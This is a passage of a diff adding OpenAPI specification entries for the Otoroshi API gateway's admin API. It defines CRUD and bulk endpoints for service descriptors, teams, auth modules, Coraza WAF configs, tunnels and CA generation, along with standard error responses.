"schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + }, + "patch" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific ServiceDescriptor using its id", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + }, + "delete" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Deletes a specific ServiceDescriptor using its id", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + } + }, + "/api/tunnels/{tunnelId}/relay" : { + "get" : { + "tags" : [ "tunnels" ], + "summary" : "???", + "operationId" : "otoroshi.next.tunnel.TunnelController.tunnelRelayWs", + "parameters" : [ { + "name" : "tunnelId", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the tunnelId parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + }, + "post" : { + "tags" : [ "tunnels" ], + "summary" : "???", + "operationId" : "otoroshi.next.tunnel.TunnelController.tunnelRelay", + "parameters" : [ { + "name" : "tunnelId", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the tunnelId parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + } + } + }, + "/api/pki/cas" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a self signed CA", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genSelfSignedCA", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCertResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrQuery" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/teams/{id}" : { + "get" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Find resource of kind Team by its id", + "operationId" : "organize.otoroshi.io.Team.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Team", + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + }, + "put" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Updates a specific Team using its id", + "operationId" : "organize.otoroshi.io.Team.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + }, + "patch" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Team using its id", + "operationId" : "organize.otoroshi.io.Team.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + }, + "delete" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Deletes a specific Team using its id", + "operationId" : "organize.otoroshi.io.Team.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + } + }, + "/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/_template" : { + "get" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Return a template of a resource of kind CorazaConfig", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind CorazaConfig", + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + } + }, + "/apis/config.otoroshi.io/v1/global-configs/_template" : { + "get" : { + "tags" : [ "global-config", "config.otoroshi.io" ], + "summary" : "Return a template of a resource of kind GlobalConfig", + "operationId" : "config.otoroshi.io.GlobalConfig.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind GlobalConfig", + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-modules/_bulk" : { + "post" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Create multiple AuthModule at the same time", + "operationId" : "security.otoroshi.io.AuthModule.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + }, + "put" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Update multiple AuthModule at the same time", + "operationId" : "security.otoroshi.io.AuthModule.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple AuthModule at the same time", + "operationId" : "security.otoroshi.io.AuthModule.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Delete multiple AuthModule at the same time", + "operationId" : "security.otoroshi.io.AuthModule.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/api/tunnels/infos" : { + "get" : { + "tags" : [ "tunnels" ], + "summary" : "???", + "operationId" : "otoroshi.next.tunnel.TunnelController.infos", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-modules/{id}" : { + "get" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Find resource of kind AuthModule by its id", + "operationId" : "security.otoroshi.io.AuthModule.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind AuthModule", + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + }, + "put" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Updates a specific AuthModule using its id", + "operationId" : "security.otoroshi.io.AuthModule.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + }, + "patch" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific AuthModule using its id", + "operationId" : "security.otoroshi.io.AuthModule.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + }, + "delete" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Deletes a specific AuthModule using its id", + "operationId" : "security.otoroshi.io.AuthModule.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + } + }, + "/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs" : { + "get" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Find all possible CorazaConfig entities", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Creates a CorazaConfig", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/teams" : { + "get" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Find all possible Team entities", + "operationId" : "organize.otoroshi.io.Team.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Creates a Team", + "operationId" : "organize.otoroshi.io.Team.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Team" + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-modules" : { + "get" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Find all possible AuthModule entities", + "operationId" : "security.otoroshi.io.AuthModule.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Creates a AuthModule", + "operationId" : "security.otoroshi.io.AuthModule.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { 